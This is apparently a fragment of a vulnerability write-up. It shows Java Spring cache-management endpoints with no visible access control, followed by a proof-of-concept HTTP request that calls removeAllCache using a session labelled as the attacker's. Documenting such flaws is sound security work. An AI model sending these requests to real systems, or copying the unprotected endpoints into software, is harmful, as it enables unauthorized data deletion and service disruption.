以下是简洁的Markdown格式信息： java @RequestMapping("deleteCache") public ResultObj deleteCache(String key) { CachePool.removeCacheByKey(key); return ResultObj.DELETE_SUCCESS; } java @RequestMapping("removeAllCache") public ResultObj removeAllCache() { CachePool.removeAll(); return ResultObj.DELETE_SUCCESS; } java @RequestMapping("syncCache") public ResultObj syncCache() { CachePool.syncData(); return ResultObj.SYNC_CACHE_SUCCESS; } POST /cache/removeAllCache HTTP/1.1 Host: 127.0.0.1:8888 Cookie: JSESSIONID=ATTACKER_SESSION